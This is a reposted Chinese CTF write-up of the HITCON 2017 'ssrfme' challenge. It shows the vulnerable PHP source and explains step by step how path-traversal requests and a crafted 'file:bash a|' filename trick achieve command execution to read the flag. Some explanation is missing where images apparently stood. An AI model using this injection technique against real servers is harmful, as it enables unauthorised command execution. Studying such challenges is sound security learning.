HITCON2017 ssrfme


 1 <?php 
 2     $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
 3     @mkdir($sandbox); 
 4     @chdir($sandbox); 
 5 
 6     $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
 7     $info = pathinfo($_GET["filename"]); 
 8     $dir  = str_replace(".", "", basename($info["dirname"])); 
 9     @mkdir($dir); 
10     @chdir($dir); 
11     @file_put_contents(basename($info["basename"]), $data); 
12     highlight_file(__FILE__); 

根据源码可以发现php会对传过去的参数用escapeshellarg函数过滤,然后执行GET $_GET['url'],然后会创建文件夹,并将执行GET $_GET['url']后的结果放在该文件夹下面filename传过去的文件中。

同时:

根据这个特点就可以绕过escapeshellarg的单引号。

GET ./可以查看当前路径,GET ../可以查看上一级路径,于是:

http://117.50.3.97:8004/?url=../../../../../../&filename=a,然后访问a。

可以发现有readflag和flag,于是猜想执行readflag flag可以得到flag,接下来就是如何构造并执行了。

首先的自己的服务器上写入/readflag /flag。

然后是用GET去访问,由于我的是域名所以直接访问域名:?url=域名&filename=a,然后再去访问a,发现变成了

然后就是执行a了,根据之前说的特点先创建一个文件名为bash a|:?url=&filename=bash a|

再执行a并将结果写入b中:?url=file:bash a|&filename=b

之后访问b就可以得到flag了。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM